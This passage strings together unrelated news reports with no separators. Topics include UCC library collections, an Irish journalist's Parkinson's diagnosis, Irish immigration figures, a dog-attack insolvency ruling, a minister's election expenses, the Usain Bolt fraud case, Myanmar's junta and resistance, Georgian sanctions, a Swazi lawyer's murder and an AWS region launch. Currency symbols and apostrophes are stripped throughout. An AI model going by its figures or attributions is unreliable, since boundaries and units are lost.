"This is a fragment that was basically saved because it was in a binding, says O Doibhlin.

It has a direct connection to Munster because its a litany of saints names, a large percentage of which are from the Munster region. It is one of our most important items, especially in terms of our European heritage.

A detail from the 12th century Regensburg manuscript fragment at University College Cork. Picture: Courtesy of UCC

Cin Lae Ui Mheallain

The Cin Lae Ui Mheallain is an account of the Confederate Wars in Ireland in the mid-17th century, believed to have been written by Turlough OMallon.

It's a really unusual thing because its quite small. So it may have been a kind of notebook that was kept by OMallon as a kind of an aide memoir on the battlefield. It recounts all kinds of military activity and skirmishes.

"Theres hundreds of place names from the Mid-Ulster area, from south Derry into Armagh and Tyrone. He outlines how people are eating horsemeat at the end of spring, thieving and stealing of dogs and cats, cannibalism, eating the leather of carriages.

"Theres so little food, the English are essentially burning everything they can get their hands on. If you think of all of the political turmoil, even up to our own time in the North, this document provides an insight back into the middle of the 17th century.

Cantwell Yeats collection

The Cantwell Yeats collection comprises WB Yeats first editions that were donated by UCC graduate Eamonn Cantwell.

Eamonn allowed us to keep the collection open, which meant that we could continue to add to it when interesting artefacts became available, says O Doibhlin.

One of these items is a rare document associated with Yeats and his membership of the Golden Dawn order, which was devoted to the practice and study of the occult. Yeats wrote a document in an effort to put an end to a dispute within the order.

The copy that we have was presented by Yeats to his patron at the time, an American businessman called John Quinn and is beautifully placed inside a little purpose-built box.

"We know that Quinn didn't read it himself because the pages are unopened. So weve just left it as it is, its unopened and we have a facsimile copy if people want to read the text. It is a unique item.

Attic Press

One of the busiest collections in terms of teaching and research is the Attic Press archive, which was acquired in the the late 90s and documents the pioneering work of the feminist publishing house and the modern Irish Womens Movement generally.

Ireland has changed so much and this collection is very reflective of that. It includes everything from seminars and workshops organised by the womens movement to campaigns, and obviously the body of work that Attic Press produced as well, says O Doibhlin.

"Were increasingly looking at collections on the margins like this.

From the Attic Press archive: Banshee, journal of Irishwomen United, 1980s. Picture: Courtesy of UCC

Coracle Press

Coracle Press is another publishing-related collection that is being actively added to. The press was established in 1975 and is run by the US-born artist and writer Erica Van Horn, and her husband Simon Cutts out of their home in the Tipperary hills.

We would try and collect as much of their printed materials as we canit is prized by collectors, and in a very short space of time, the prices go through the roof. Their work is so different and unexpected, they dont have any particular agenda but to be curious about how books work and how literature works.

"So they take on all kinds of different projects. They've donated some of their works as well as sets of their actual typeface text blocks so we can use them in teaching here in the library, which is amazing.

Maisie McCarthy collection

The Maisie McCarthy collection is an archive of political material relating to the political situation in the North, particularly in the late 1960s and early '70s. McCarthy, who died in 1990, was from the northside of Cork city.

She had a whole collection of books and pamphlets that her family kept relating to the North when the Troubles were quite severe.

"There is a series of pamphlets brought out by Fr Denis Faul and Fr Raymond Murray documenting the torture and abuse of people who were arrested by the British at that time.

"A lot of these pamphlets at the time were banned, even in the South, because of their subversive nature. With the familys permission, we have kept the collection open, to add material of this nature relating to the North, and also political material to do with socialist politics in the city.

"Again, these items are highly collectible and quite rare.

"For example, posters relating to the broadcast ban on Sinn Fein, and the hunger strikes, which at the time, would have been all over the place but by their nature were so ephemeral.
Irish Examiner fashion editor Annmarie OConnor has been blown away by the outpour of support after opening up about her experience with Parkinson's disease on the Tommy Tiernan Show.

OConnor was Tommy Tiernans first guest on Saturday night and spoke about her experience with Parkinson's, stating that she does not want people to feel like they have to hide.

Since her appearance, OConnor, who was diagnosed with Parkinson's in December 2021, has received an overwhelming number of emails and direct messages (DMs) on social media from those who have resonated with her experience and honesty.

Following her appearance on the RTE show, OConnor has been flabbergasted by the positive response. It's more than I could have asked for. I'm actually blown away," she said.

She had hoped that by sharing her story, she would help people but the reaction has exceeded her expectations.

"I'm absolutely overwhelmed. I'm wondering now how long it's going to take to actually sift through [the messages] because I still haven't sifted through all the emails and DMs and well wishes. From those that I have, it restores your faith in human kindness."

Annmarie O'Connor on the Tommy Tiernan Show

Those who have been in touch include those who have Parkinson's, people who are carers for their parents, or simply well-wishers offering advice. Others, she said, had never heard of Parkinson's.

OConnor has previously written about her experience for the Irish Examiner, describing her symptoms and diagnosis. Her reason for sharing her story is simple: I don't want people to feel they have to hide.

Because of the optics that are involved with Parkinson's and the fact that it's degenerative and you're often not in control of your own body  you can feel like you're not in control of your own body. That can be really disconcerting," she explained.

I know myself after I was diagnosed, we were coming out of lockdown, so I hadn't really seen a lot of people and then events were happening...and I was slightly nervous about being seen because of my tremor, and the kind of the physical manifestations of the disease, in particular on days when you're feeling off or a bit nervous or a bit anxious about something. So, you can't live your life that way.

She was diagnosed after 14 months of symptoms, which she had assumed were caused by a trapped nerve and didn't know anything about Parkinsons at the time. In recent months, she has really been feeling the effects.

It's really important to talk about it because I'm never going to outrun it," she told Tiernan. "It's always going to be the spectre that's hanging over your life. I'm going to fight it as much as I can."
Government officials believe 60% of Ukrainians that come to Ireland will remain here even after the war ends.

In a briefing document given to Minister Simon Harris when he took over temporary responsibility for the justice portfolio in recent weeks, Government officials outlined the reality of how many Ukrainians will remain in Ireland and the number of people seeking international protection.

The estimates are based on the number of people that were displaced during the Bosnian war in the 1990s.

The likelihood of beneficiaries of temporary protection returning to Ukraine might be considered in the context of the Bosnian experience.

There were 1.2m recorded refugees from Bosnia and Herzegovina between 1992 and 1995.

Forty per cent repatriated between 1996 and 2005 while the remainder either stayed in their first host country or changed to a different country.

While the legal basis under which temporary protection is being offered was a result of the Balkan experience, we should not assume that all Ukrainians will wish to immediately return home if and when the conflict ends, the document read.

Over 70,000 Ukrainians have already arrived in Ireland with a similar figure expected to seek shelter here this year, which could see a total of 150,000 or more Ukrainians coming to Ireland.

Children's Minister Roderic O'Gorman warned of a 'very real risk' that any Ukrainians arriving into Ireland might not be accommodated. Picture: Leah Farrell/RollingNews.ie

In recent days, the Citywest refugee processing centre closed to new arrivals due to capacity issues, with Minister for Integration Roderic O'Gorman warning of a very real risk that not every new arrival could be accommodated.

Mr Harris was also briefed that this year will likely see immigration-related activity higher than 2022, which in some instances exceeded pre-Covid-19 levels.

The department has also recommended reintroducing deportations, which had been paused throughout the pandemic, and is working with carriers to implement measures aimed at reducing the number of persons arriving with false documents.

A chart dated up to September 30, 2022 shows there were 104,916 visa applications, this is despite some travel restrictions in place in early 2022 due to the pandemic.

Given that we were still experiencing some travel restrictions in early 2022, and that China, a significant user of visas, continues to operate under a lockdown, it is likely 2023 activity will be higher again, the ministerial brief reads.

Minister Simon Harris was briefed that 2023 will likely see immigration-related activity higher than 2022.

Government officials highlighted that there are similar increases evident across all of the immigration service delivery operations.

Registrations to the end of September, which is required for those staying in the State more than three months, is up 65% on the same period in 2021.

While international protection applications are up sevenfold, excluding the almost 70,000 Ukrainians who have arrived under the temporary protection directive.

Between 2008 and 2021, there were just under 34,000 asylum applications but in 2022 at the end of September, a further 10,000 applications were made.

Within the same period, 55,600 temporary protection applications were processed for those fleeing the war in Ukraine.

Over the past year, a scheme to regularise long-term undocumented migrants and their eligible dependents where specific criteria are met was implemented.

The scheme closed in July 2022 and there were 6,548 applications in respect of 8,311 applicants.

Of the decisions issued to December 12, 2022, 97% were positive the department said.

Eligible applicants must have had a period of four years residence in the State without an immigration permission.

A parallel strand within this scheme allows for applications from those with an outstanding application for international protection and have been in the asylum process for a minimum of two years.

There were 3,193 applicants under this stream by December 9, 2022 of which 2392 permissions were issued.

Additionally there had been 238 withdrawals from the International protection process and 379 refusals and by mid-October last year, a little under 800 applications were awaiting decisions, according to officials.

The document also highlights the importance and positive effect inward migration for the Irish labour market considering there is a population bubble who will be retiring in 15-25 years, those currently aged between 40 and 49 and this will support the payment of future pensions, officials said.
The High Court has dismissed an appeal against the inclusion of 77,000 legal fees awarded against a couple whose Rottweiler dogs attacked and severely injured a woman, as part of a proposed Personal Insolvency Arrangement (PIA).

The appeal on the issue of the inclusion of costs in a PIA came before Mr Justice Alexander Owens on Monday.

It relates to a debt that arises out of a 2018 High Court action when Mary and Michael Daly were ordered to pay 179,000 damages plus 77,000 legal costs to Mae Rae after the Dalys two Rottweiler dogs attacked and bit her.

The incident occurred on July 15, 2012, when Ms Rae was near the Daly property in Co Cork after their two dogs escaped from their pen.

Ms Rae, of Gurrane South, Donoughmore, Co Cork, suffered several severe bite injuries, had to be rescued by another person, and was hospitalised for 11 days following the dog attack.

Liability was admitted in the case, and the dogs were put down shortly after the incident.

The award has not been paid.

Insolvency

On Monday, the High Court heard that the Dalys, of Ballycraheen, Vicarstown, Co Cork, claim they are insolvent and sought to enter the personal insolvency process.

After obtaining the services of the Personal Insolvency Practioner Mr Alan McGee, the couple were granted protective certificates by Cork Circuit Court last year.

The certificates remain in place pending the outcome of the PIA process.

As part of their applications, the Daly's PIP included the legal fees awarded against them in the High Court, but not the damages award to Ms Rae, in their proposed PIAs.

That means that the legal fees will be dealt with in the same manner as Mr Daly's other debts.

Under the 2012 Personal Insolvency Act debts due from a personal injuries damages award from a court are specifically excluded from PIAs.

However, Ms Rae, represented by Gerard Nicolas Murphy Bl instructed by Harry McCullagh Solicitors objected to the inclusion of the legal fees in the PIA and appealed that decision to the High Court.

The legal fees should be treated in the same manner as the damages award, it was claimed. The fees' inclusion in the PIAs was prejudicial to Ms Rae's attempts to obtain the judgement, it was submitted.

Mr McGee, represented by Keith Rooney Bl, instructed by solicitor Eugene Carley, disputed Ms Rae's areguments and argued that the legal fees ought to be included in the proposed PIAs, and that they are not excluded under the 2012 Act.

Appeal dismissed

After considering the legal submissions from both parties, Mr Justice Owens said that the legislation on what type of debts can be included in a proposed PIA is quite clear, and dismissed the appeal.

He agreed with submissions from Mr Rooney that the legal fees arising out of the 2018 proceedings can be included as a debt in Mr Daly's proposed PIA.

The judge also said he was making no order in respect of the legal costs incurred by the parties in the application before him.

The applications to approve the Daly PIAs will go before the Circuit Court at a later date.
Public Expenditure Minister Paschal Donohoe will address the Dail for a second time on his election expenses today, but there remains some distance for the Dublin Central TD to go to put the issue to bed.

Mr Donohoe has been the subject of a complaint to the Standards in Public Office Commission (Sipo) about his expenses, particularly whether the work of employees of businessman Michael Stone was declared, as required.

At a hastily-convened press conference last weekend, Mr Donohoe said the work had been paid for at a cost of 917 and that he was adding both that and the use of a commercial vehicle, valued at 140, to his Sipo returns.

However, despite this admission and a Dail statement on the matter, questions still remain unanswered about the whole affair.

If Mr Donohoe hopes to draw a line under the issue when he takes to his feet at 3.50pm, here are some of the questions that need to be answered.

How was the 917 figure worked out?

Constituency colleagues have questioned the value placed on the work carried out by employees of Mr Stone.

This work was given a value of 1,100, with 917 within the election period for putting up and taking down posters.

Fianna Fail senator Mary Fitzpatrick declared spending of around 5,000 on the erection and taking down of posters, while Green Party TD Neasa Hourigan said the figure seemed low.

Fianna Fail senator Mary Fitzpatrick. Picture: Gareth Chaney/Collins Photos

The opposition, meanwhile, has doubts over this figure, with Pearse Doherty last week saying that Mr Donohoe had tried to reverse-engineer the value of the political donation to make sure it was below the allowable amount.

The minister has maintained a 2016 donation was to the Fine Gael organisation in his constituency and not himself and was therefore within donation rules, but if the cost of the labour was over 2,500, it would be illegal.

The opposition will work to tease out how long the six men worked across the four days on which it has been reported they worked and see if Mr Donohoe can account for the sums.

What is the issue with the 2020 election?

After agreeing to a second Dail address, it was reported late on Friday that Mr Donohoe had unearthed fresh issues with his 2020 general election expenses.

While initial reports sought to downplay the severity of these new issues, little is known about them as yet.

The fact that Mr Donohoe  seen as the most careful and prudent of ministers  has discovered issues with two election returns will be troubling for some in Government. He will have to explain the latest issues and hope there is nothing in them to cause further questions.

Did Fine Gael spend any money specifically on Mr Donohoe's campaign in 2016?

Mr Donohoe declared expenses of 22,916.80 on his original Sipo return, along with 477.03 met from public funds.

Along with 4,307 assigned by Mr Donohoe to Fine Gael and the figure of 1,057 from Mr Stone's donation, this would add up to 28,757.

The spending limit for a three-seat constituency is just over 30,000. Opposition members will want to know if Fine Gael added any money specifically to Mr Donohoe's campaign.

Did he know Michael Stone's company was not a registered corporate donor?

Mr Stone's business is not on the register of corporate donors, which it would have to be to give a donation of over 200.

Since the donation, Mr Stone has been appointed to the Land Development Agency board and as chair of the North East Inner City Taskforce.

His Designer Group business has also picked up over 8m in government contracts.

Mr Stone is not paid for either of his appointments and his business turns over 325m a year annually, according to its website.

The company is involved in major developments across the world, so Mr Stone is qualified for both positions. But Mr Donohoe will have to convince the Dail that he was not involved in any of the dealings.

The question which has perplexed many TDs across the Dail is why Mr Donohoe did not react when the issue was first brought to him in 2017 and again last November.
Jamaicas government has turned to the FBI for help as it investigates a massive fraud case involving a private investment firm where 12.7 million dollars (10.3 million) belonging to Olympic sprinter Usain Bolt has gone missing.

The alleged fraud lasted 13 years and also ensnared elderly clients and government agencies. Authorities do not yet know how much was taken.

Lawyers for Bolt said the record-breakers account has dwindled to just 12,000 dollars (9,700), and have given the investment firm until Friday to return the money before going to court.

The Jamaican government also asked other unnamed international partners for help in investigating one of the islands largest fraud cases, finance minister Nigel Clarke said on Monday.

Nigel Clarke (Alamy/PA)

The anger and unease we all feel have been magnified by the long duration  13 years  over which the fraud was allegedly perpetrated, and the fact that the (suspects) seemed to have deliberately and heartlessly targeted elderly persons, as well as our much-loved and respected national icon Usain Bolt, Mr Clarke said.

The investigation into Kingston-based Stocks and Securities is just starting so it is not yet clear exactly how much money was allegedly stolen or how many people were affected.

Mr Clarke said clients were given false statements regarding their balances as part of the alleged fraud.

Government agencies including the National Health Fund, Jamaicas Agricultural Society and the National Housing Trust also invested millions in Stocks and Securities, Mr Clarke said.

Jamaicas Financial Services Commission began investigating after the company alerted authorities this month that a manager had apparently committed fraud.

Since then, the commissions director has resigned, and Mr Clarke has placed the Bank of Jamaica in charge of regulating the islands financial system.

If you rob depositors or you defraud investors... and you put our financial system and our way of life at risk, the Jamaican society wants you put away for a long time

There is no need to panic, he said. Despite this most unfortunate development, Jamaicas financial sector remains strong.

Mr Clarke said authorities are working to uncover every detail of the alleged fraud.

They will unearth exactly how funds were allegedly stolen, who benefitted from such theft and who organsised and collaborated in this, he said.

Mr Clarke said the government will seek forfeiture of any assets that might have been bought with the alleged stolen funds. He added the government will soon approve stiffer penalties for white-collar crimes.

If you rob depositors or you defraud investors and you put our financial system and our way of life at risk, the Jamaican society wants you put away for a long time, he said.
Burma Myanmar Junta Expected to Install Puppet Civilian Govt at End of January

Myanmar regime chief Min Aung Hlaing (left) and acting president U Myint Swe

Myanmar military regime chief Min Aung Hlaing is likely to hand over power to his puppet, acting president U Myint Swe, at the head of a civilian government while remaining the power behind the throne when two years of emergency military rule expire at the end of this month.

The scenario, sources and analysts said, is meant to prepare for the election the junta plans to hold this year, with the regime chief continuing to hold the powerful army boss position while waiting to become the countrys president through the election. Myanmars military-drafted constitution states that a poll must be held within six months of the end of emergency rule.

They said the junta chief would most likely choose this option, as the constitution prohibits him from extending emergency rule beyond two years. More importantly, he needs to fill the power vacuum until the election by picking someone he will be able to influence as they organize the election, and who can peddle Min Aung Hlaings lie that he is no longer in charge.

Facing no significant opposition, Min Aung Hlaings road to the countrys top job is open, as the military proxy Union Solidarity and Development Party only needs to secure 26 percent of seats in the national legislature to add to the 25 percent constitutionally guaranteed to the military. Observers said this will make the junta feel it can claim legitimacy as an elected government, though the planned poll has already been condemned as a sham both locally and internationally.

Ceremonial president

If the staged power handover happens, it will take place at the Jan. 31 meeting of the military-dominated National Defense and Security Council (NDSC), at which the regime will submit its report on two years of emergency rule to the defense and security body. As the Myanmar military chief, Min Aung Hlaing is an NDSC member.

The junta seized power from the countrys democratically elected National League for Democracy (NLD) government on Feb. 1, 2021, announcing emergency rule on grounds of vote fraud in the 2020 general electiona claim dismissed by international election observers. The NLD won a landslide victory in the polls.

The so-called civilian government, under the name of a transitional council, will be led by current acting president U Myint Swe, a former general and military-elected vice president during the NLD government. Min Aung Hlaing picked him as the acting president at the time of the coup, but U Myint Swe does not hold a position of power in the regime. Analysts said U Myint Swes role as president in the new government would be merely ceremonial, as Min Aung Hlaing would pull the strings from behind the scenes.

Sources said the new cabinet members will include some from the regimes governing State Administration Council (SAC).

Constitutional but

The scenario is constitutionally viable; the charter dictates that the NDSC exercise legislative power after annulling the sovereign power granted to the military chief while transferring administrative and judicial powers to an individual or organization that can hold them until an election can be held.

The situation on the ground, however, could still thwart the regimes plan to hold an election, as fighting between the military and anti-junta forces continues to escalate, including resistance attacks on election offices and teams involved in updating voter lists. In light of this, another possible scenario emerges.

Some observers fear the regime could manipulate the relevant provision of the constitution, which says that the NDSC may normally permit two six-month extensions of emergency rule. Given the extraordinary situation of ongoing fighting across the country, there are questions as to whether the NDSC can extend emergency rule a third time.

Whatever the case, the analysts said, Min Aung Hlaing will continue to hold power, be it de facto or de jure. The NDSC meeting on Jan. 31 in Naypyitaw will decide which.
The Minister of Finance of Georgia Lasha Khutsishvili talked about the sanctions imposed against Russia at a press conference after the government session."There is no reason for anyone to doubt that sanctions are not being enforced in Georgia - we can confidently say that Georgia is one of the leading countries in the direction of international sanctions enforcement," he said.According to him, the government of Georgia communicates with its partners on a daily basis regarding the enforcement of sanctions.Khutsishvili said the country has received many letters of thanks for the measures it takes to ensure that the sanctions are implemented according to the established standard.He also noted that tourism and export in Georgia increased more in relation to other countries of the world than in relation to Russia."I would like to point out that the growth of tourism and exports in Georgia was much higher without Russia than with Russia. That is, the export to the whole world increased more than it increased with respect to Russia. Also, in relation to the whole world, tourism increased more than it was observed in relation to Russia. Accordingly, in this part, it is better to rely on official statistics and draw conclusions from existing statistics," said the Minister of Finance.According to Georgia's National Tourism Agency, in 2022 the income from travel exceeded the figure of 2019 and a record figure was recorded - 3,516,634,479 USD.According to their reports, 5.4 million international travelers visited Georgia in 2022."In 2022, compared to 2019, 71.9% of international tourist visits and 58% of international traveler visits were restored.Last year, a total of 5,426,903 international travelers visited Georgia, which is +188.5% more than in 2021.In 2022, 3,652,949 international tourist visits took place in the country, which is +131.6% more than the same period of 2021.December 2022 was distinguished by the dynamics of tourism recovery. During this period, 564,656 international travelers visited Georgia, which is an 84.6% recovery of the data of 2019, and compared to 2021, the increase is +216.9%, the agency wrote.
MANZINI  Slain Human Rights Lawyer Thulani Maseko reportedly had a premonition of his death.

This was disclosed by one of the first witnesses who went to the scene of the murder on Saturday. The community member claimed that the wife to the deceased, Tanele Maseko, had informed them that leading to the shooting, as they left their compound, the deceased said a number of things which spooked her but supposed were in jest. He said Tanele had informed them that when they arrived at their homestead, which is about 50 metres from his parental homestead, where Thulani was killed, he had first expressed suspicion that there was someone who had walked within the compound. This, he said, was because Thulani noticed footprints on the ground. Thereon, the community member claimed that Tanele told them that Thulani had said they should leave their homestead to his mothers house. She said Thulani said they should go home as he did not want to die there, the community member said.

Questioned

He claimed that Tanele had informed them that she questioned her husband on what he meant and then took it as something that was in jest. The witness claimed that they proceeded to Thulanis parental compound, wherein he was eventually shot after sometime following their arrival. This, he said, had made them conclude that Thulani was aware that he would die on the day. Leading to that, the witness said they had engaged Thulani not to park his vehicle in the compound he was sleeping in as he shuffled between the two homesteads which are about 50 metres apart. To this, the witness claimed that Thulani would usually say: One can never evade death; when it is time, it shall be time. The community member further said Thulani had in instances stated that there were people who were seeking to kill him as he had always expressed a dissenting voice. However, the witness said Thulani had never shared who those people could be, but insinuated that his life was under threat for being a human rights lawyer.

Warn

Meanwhile, this publication yesterday reported that Thulanis wife, Tenele, had tried to warn him about a gunman before the fatal shots were fired on Saturday night. Tanele was said to have seen the barrel of the gun as the assassin was aiming at Thulani and as she tried to warn the deceased of what was about to happen, the three gunshots were fired, piercing through his head and upper abdomen. Following the shooting, the killer was said to have fled on foot and there are suspicions that his getaway vehicle was waiting for him at a convenient point.

As the gunman fled, it was said the shells of the bullets which killed Thulani were left behind and were later recovered by the police when they attended to the scene. The bullet shells, according to sources, were of an assault rifle. The sources further explained that the gun was an automatic assault rifle as the first two shots which went through Masekos head had been fired simultaneously.

They claimed that the carnage left by the bullets as well depicted same, unlike a pistol which made insertions and did not exit the body with large chunks of flesh. Meanwhile, yesterday, this publication quoted senior family members of the deceased claiming that Tanele had informed them that leading to the shooting, she had seen the gun and it was huge.
Burma Myanmar Regime Chief Presses Ahead With Plans for Sham Election

Myanmar junta leader Min Aung Hlaing / AFP

By The Irrawaddy 24 January 2023

Myanmar junta chief Min Aung Hlaing on Monday assured a meeting of the State Administration Council (SAC) that the juntas proposed general election will be staged later this year, despite escalating armed resistance to the regime and condemnation of the planned poll overseas.

Junta-appointed Union Election Commission (UEC) chairman U Thein Soe and legal experts were invited to the Monday meeting of the SAC, the regimes governing body, which focused on holding the election and the handover of power to the winning party, according to regime-controlled media.

At the meeting, Min Aung Hlaing suggested making further amendments to the Political Parties Registration Law. It is not known what particular suggestions he made. The regime boss stressed also that the UEC should not register any political party that has violated the military-drafted 2008 Constitution.

Min Aung Hlaing boasted also that he had reached agreement in principle with the few ethnic armed organizations (EAOs) that have held talks with him on strengthening multi-party democracy and building a union in Myanmar based on democracy and federalism.

The junta chief also urged the UEC to staff its branch offices nationwide. He is apparently worried that staff at election commissions at the local level may not work out of fear of attacks by resistance forces. At least 13 election commission offices across the country have been attacked and damaged by Peoples Defense Forces from December 2021 to this past Sunday, regime media said on Monday.

Min Aung Hlaing urged the UEC to ensure voter lists are correct. His order was not a surprise, as Min Aung Hlaing cited errors in the voter lists as the excuse for seizing power from the democratically-elected government in a February 2021 coup.

The UEC has approved the introduction of a proportional representation (PR) system in the planned poll to replace the first-past-the-post system. The adoption of PR is widely expected to guarantee the militarys proxy Union Solidarity and Development Party the 26 per cent of seats it needs to win in the national legislature. With 25 per cent of seats constitutionally guaranteed to the Myanmar military, this will allow the regime to maintain its grip on power and claim legitimacy as an elected government.

Numerous EAOs including the Kachin Independence Army, the Karen National Union, the Karenni National Progressive Party, the Palaung State Liberation Front and the Taang National Liberation Army have rejected the so-called election. They are active in Kachin, Karen, Mon, Kayah and Shan states.

The majority of Myanmar people are against the sham poll, being well aware that those who will come to power after it is held will be the current ruling generals in different clothes, along with their supporters.

The parallel National Unity Government and major political parties including the National League for Democracy and the Shan Nationalities League for Democracy have rejected the election, as have foreign governments and blocs including the United States, European Union and Malaysia.

US Department of State Counselor Derek Chollet reiterated Washingtons rejection of the election in a recent interview with Voice of America.

Five people including two police and election officials have been killed by resistance forces so far this month while attempting to update voter lists.

Under the military-drafted 2008 constitution, the two years of emergency rule declared by Min Aung Hlaing on February 1, 2021 will finish at the end of January, requiring the National Defense and Security Council to hold an election within six months.

Observers say Min Aung Hlaing may start the election in towns controlled by Myanmar military, and schedule the voting in other areas for later dates.
Burma Myanmar Regime Raids Displace Over 7,000 Civilians in Sagaing Region

Villagers from Depayin and Ye-U townships fleeing junta raids on January 24, 2023.

More than 7,000 civilians in Sagaing Region were forced to flee their homes on Monday and Tuesday, after Myanmar military soldiers raided and torched villages along the border of Depayin and Ye-U townships.

Around 200 military regime troops raided five villages in Ye-U Township on Monday, displacing residents.

On Tuesday morning junta forces moved into Depayin Township, with three columns of soldiers raiding Let Yat Kone Village and firing heavy weapons, according to villagers. The regime troops torched houses in the northern part of the village, before moving on to raid and torch homes in nearby Mu Ka Twin Village.

Let Yat Kone Village was previously hit by a junta airstrike in late September last year that killed 13 people, including seven children. The village was also raided by regime troops in December 2022, when around 200 houses were burned down.

Our house was torched in December. We built a new one and moved in yesterday, but the soldiers torched our house again, a Let Yat Kone resident told The Irrawaddy.

Villagers said that resistance fighters and regime troops clashed for around an hour on Tuesday morning. However, The Irrawaddy couldnt verify the fighting independently.

Thousands of residents from ten villages in Depayin have currently fled their homes. They are in urgent need of food and shelter, according to local civil society group, the Depayin Refugee Support Group.

People are taking refuge in the fields and forest. As the weather is cold, they are in quite a lot of trouble, a spokesperson for the Depayin Refugee Support Group told The Irrawaddy.

Junta troops are currently deployed in Let Yat Kone Village and also in Sae Kyi Village on the border of Depayin and Ye-U townships, from where they are firing artillery at Nyaung Hla Village, according to locals.

Regime soldiers conducted arson attacks on 30 villages in Depayin Township in December 2022 alone, destroying over 3,000 houses and five monasteries.

An estimated 36,667 houses in Sagaing Region had been burned down by junta forces as of December 2022, independent rights group Data for Myanmar reported in January.
Burma Resistance Group Burns Myanmar Junta Offices on Thai Border

Flame lights up the sky in Payathonzu on Monday night after resistance fighters burned junta offices.

A Karen State resistance group says it burned down three government offices at Payathonzu on the Thai border on Monday.

The Payathonzu Guerrilla Force (PGF) said it attacked the general administration department and municipal offices in the border town.

The regimes staff know no one can protect anyone working for the military council. We urge all staff to join the civil disobedience movement, said a PGF spokesman.

The PGF also warned junta informants to stop spying on revolutionary movements.

Residents reported hearing gunshots. The PGF said it fired during its coordinated raids but there were no casualties.

The PGF said it retreated before junta troops arrived.

After the raid, the anti-regime Lion Battalion Commando and its allies ambushed junta reinforcements from Light Infantry Division 44 heading from Kyainseikgyi to Payathonzu.

At least three junta troops were killed and five injured, according to the Lion Battalion.

The fighting persisted until Tuesday afternoon.
Myanmars Crisis & the World Myanmars Civilian National Unity Govt Thanks China for UN Stance

Chinese President Xi Jinping (right) shakes hands with Myanmar State Counselor Daw Aung San Suu Kyi as they attend a welcome ceremony at Yanqi Lake during the Belt and Road Forum in Beijing on May 15, 2017. / AFP

In Lunar New Year greetings, the Foreign Ministry of Myanmars parallel National Unity Government (NUG) thanked China for standing by the people of Myanmar at the United Nations, in particular on the UN Security Council (UNSC).

We [the NUG] would like to express our deep gratitude to the Peoples Republic of China for their support for the return of power to the people  of Myanmar, NUG Foreign Minister Daw Zin Mar Aung said in the New Year message sent to her Chinese counterpart.

In December, the UNSC adopted its first-ever resolution on Myanmar, demanding an immediate end to all forms of violence, the immediate release of all arbitrarily detained prisoners, including State Counselor Daw Aung San Suu Kyi and President U Win Myint, and the implementation of the Association of Southeast Asian Nations Five-Point Consensus.

The resolution, proposed by the United Kingdom, was passed with no votes against. Permanent members China and Russia abstained, opting not to wield vetoes following amendments to the wording. India also abstained.

Daw Zin Mar Aung said Chinas decision not to side with the military junta, which is violently oppressing the people of Myanmar, is a proof of the good neighborliness of the Peoples Republic of China and the people of Myanmar will always remember  Chinas stand.

She also assured Beijing that the fruits of the revolution that the people of Myanmar and the NUG are currently contesting will not harm the interests and the long-term stable development of the regional countries, including the interests of the Peoples Republic of China.

She added that The new Federal Nation envisioned by our NUG and the people of Myanmar will only bring fruitful impacts to the neighboring countries and  China.

The minister also looked forward to closer relations in the year ahead.

We convey our earnest wishes that the new year will promote and strengthen genuine Pauk Phaw relations for the people of both China and Myanmar, Daw Zin Mar Aung wrote, using a Burmese expression coined in the 1950s to describe the supposedly friendly and close relationship between China and Myanmar. Pauk-phaw may be translated as fraternal but, according to Myanmar expert David Steinberg, it has a closer Chinese connotation of siblings from the same womb [and] was used uniquely for Burma.

The junta and the NUG, which is challenging the juntas legitimacy at home and abroad, are both courting the powerful neighboring countrys favor.

China is a major investor and controls several strategic infrastructure projects in its southern neighbor, including energy pipelines and a proposed port that would give Beijing vital access to the Indian Ocean. China also has leverage over some ethnic armed organizations active near the border. It is one of the few powerful countries, along with Russia, which has engaged with the regime since the coup.

Despite its engagement with the junta, however, China has said it wants to see stability in Myanmar.

The NUG, which commands the loyalty of the vast majority of Myanmar citizens, has committed itself to Chinas goal of a shared future with Myanmar and repeatedly pushed China to engage with the civilian administration. It has warned that continuing to work with the regime will damage Beijings international reputation and arouse hostility among Myanmars population.

China has had no official engagement with the NUG.

In an attempt to please China, junta chief Min Aung Hlaing personally attended a Chinese New Year celebration in Yangon on Jan. 21.

At the ceremony, Min Aung Hlaing said Myanmar and China are good neighbors that enjoy fraternal friendship. China is an important neighboring country and a multi-strategy partner, he added.

Myanmar is a trustworthy neighboring country that is not two-faced toward China and her citizens and Myanmar-born Chinese people, said the coup leader, whose troops have killed Chinese people during its terror campaign against the entire population.
War Against the Junta Myanmar Junta Troops Trigger Mines in Attack on Mandalay PDF Camp

Thabeikkyin PDF battalion 1222 members carry a wounded resistance fighter. (Photo: PDF battalion 1222)

Around 30 junta infantry soldiers were wounded or killed on Friday when they were caught in a minefield planted around a Peoples Defense Force (PDF) battalion base in Mogok Township, Mandalay Region, the PDF group said on Tuesday.

The National Unity Government (NUG)s Thabeikkyin PDF battalion 1222 said the casualties occurred after regime troops launched a combined air and ground attack on its base. Three fighter jets bombed the base at around 12.20 on Jan. 20 while 200 regime troops attacked on the ground.

The battalion said its commander was killed in the attack, which also left three PDF fighters wounded.

Around 30 bombs were dropped and the junta troops used machine guns, the battalion said.

Its members retreated from the base under the barrage of airstrikes and ground artillery.

However, a defensive cordon of land mines planted around the camp was triggered by the advancing junta forces. The battle for the base left around 30 soldiers wounded or dead, said the battalion, citing reports by locals.

The PDF group lost food, backpacks and motorcycles in its hasty retreat from the base.

There are now over 300 PDF battalions nationwide, supplemented by township-level defense forces in 250 of the 330 townships across the country.

PDF groups vowed to go on the offensive this year and are increasingly raiding and occupying  sometimes in tandem with ethnic armed groups  army outposts and police stations in resistance strongholds.

The junta has responded by escalating its campaign of indiscriminate air and artillery strikes, killing civilians while also detaining opponents of military rule.
Cloud giant Amazon Web Services has launched the AWS Asia Pacific (Melbourne) Region, its second infrastructure region in Australia.

The new region comprises three availability zones  data centres that are sufficiently separated to ensure continuity of operation, while being close enough to provide low latency for applications that use multiple zones for fault tolerance.

It also provides lower latency in general for customers located closer to Melbourne than Sydney.

Customers welcoming the new region include fintech Littlepay, property settlement platform provider Pexa, ANZ Bank and RMIT.

"We plan to deploy our AWS targeted workloads and applications through the AWS Asia Pacific (Melbourne) Region on day one and want to make it our long-term primary AWS location," said ANZ group executive of technology Gerard Florian.

"The lower latency and higher performance we expect of the new AWS Region in Melbourne will help us improve our customer experience and accelerate our cloud adoption."

RMIT vice president and deputy vice chancellor of research and innovation Professor Calum Drummond said "The launch of an AWS Region in Melbourne gives us the additional capacity to assist researchers, students, and academics to deliver world-class research outcomes that benefit society.

